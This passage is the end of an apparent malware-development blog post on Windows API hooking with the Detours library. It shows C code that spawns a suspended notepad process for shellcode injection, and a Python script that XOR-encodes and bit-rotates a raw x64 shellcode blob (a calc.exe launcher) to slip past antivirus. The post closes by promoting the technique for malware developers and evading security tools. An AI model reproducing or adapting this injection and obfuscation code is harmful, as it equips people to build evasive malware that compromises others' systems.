    // Create a benign process in suspended mode (like notepad)
    STARTUPINFOA si = { sizeof(STARTUPINFOA) };
    PROCESS_INFORMATION pi;

    if (!CreateProcessA(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {
        printf("Failed to create process for injection. Error: %d\n", GetLastError());
        return -1;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);  // Wait for the process to complete
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    if (!UninstallCreateProcessHook())
    {
        printf("Failed to uninstall CreateProcess hook.\n");
        return -1;
    }

    printf("Press any key to exit...\n");
    getchar();

    return 0;
}

Payload Encoder:

  
# XOR encoding script with rotation for obfuscation

shellcode = (
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    b"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    b"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    b"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    b"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    b"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    b"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    b"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    b"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    b"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    b"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
    b"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    b"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
)


xor_key = 0xAA  # XOR key for encoding/decoding

# Function to rotate left (inverse of the right rotate used in decryption)
def rotl8(value, shift):
    return ((value << shift) & 0xFF) | (value >> (8 - shift))

# XOR encoding with rotation
encoded_shellcode = ""
line_length = 16  # How many bytes per line for readability

for i, b in enumerate(shellcode):
    xor_byte = b ^ xor_key  # XOR operation
    rotated_byte = rotl8(xor_byte, 3)  # Rotate left by 3 bits (encoding)
    encoded_shellcode += f"\\x{rotated_byte:02x}"

    # Add a newline and continuation if at the line length
    if (i + 1) % line_length == 0:
        encoded_shellcode += "\"\n\""

# Output the encoded shellcode in C array format
print(f'unsigned char encoded_shellcode[] = \n"{encoded_shellcode}";')

AV Results:

Conclusion

By leveraging API hooking via the Detours library, malware developers can gain control over critical system calls, modify program behavior, and potentially bypass security mechanisms. The ability to seamlessly redirect API functions to custom routines makes Detours a powerful tool in the malware developer’s arsenal.

For further details, visit the official Detours GitHub and experiment with different APIs to see the true potential of this technique in malware development.

Maldev, Evasion

Evasion

This post is licensed under CC BY 4.0 by the author.

Introduction

Understanding Detours Hooking

How Detours Achieves Hooking

Setting up the Detours Library

Key Functions in Detours

Full Example: Hooking MessageBoxA

Explanation of Code

Avoiding Infinite Loops

Advanced Hooking Techniques

1. Dynamic API Resolution with Detours

2. Multiple Function Hooks with Detours

3. Inline Patching with Detours

Real-World Sample: Shellcode Injection with Detours

Explanation of the Shellcode Injection Code with Detours

1. Shellcode to Launch calc.exe

2. Hooking CreateProcessA

3. The Hooked CreateProcessA Function

4. Memory Allocation and Shellcode Injection

5. Thread Hijacking to Execute the Shellcode

6. Installing the Hook for CreateProcessA

7. Uninstalling the Hook for CreateProcessA

8. Main Function

Key Anti-Detection Techniques

More Advanced example

Payload Encoder:

AV Results:

Conclusion

Trending Tags

Full Example: Hooking `MessageBoxA`

1. Shellcode to Launch `calc.exe`

2. Hooking `CreateProcessA`

3. The Hooked `CreateProcessA` Function

6. Installing the Hook for `CreateProcessA`

7. Uninstalling the Hook for `CreateProcessA`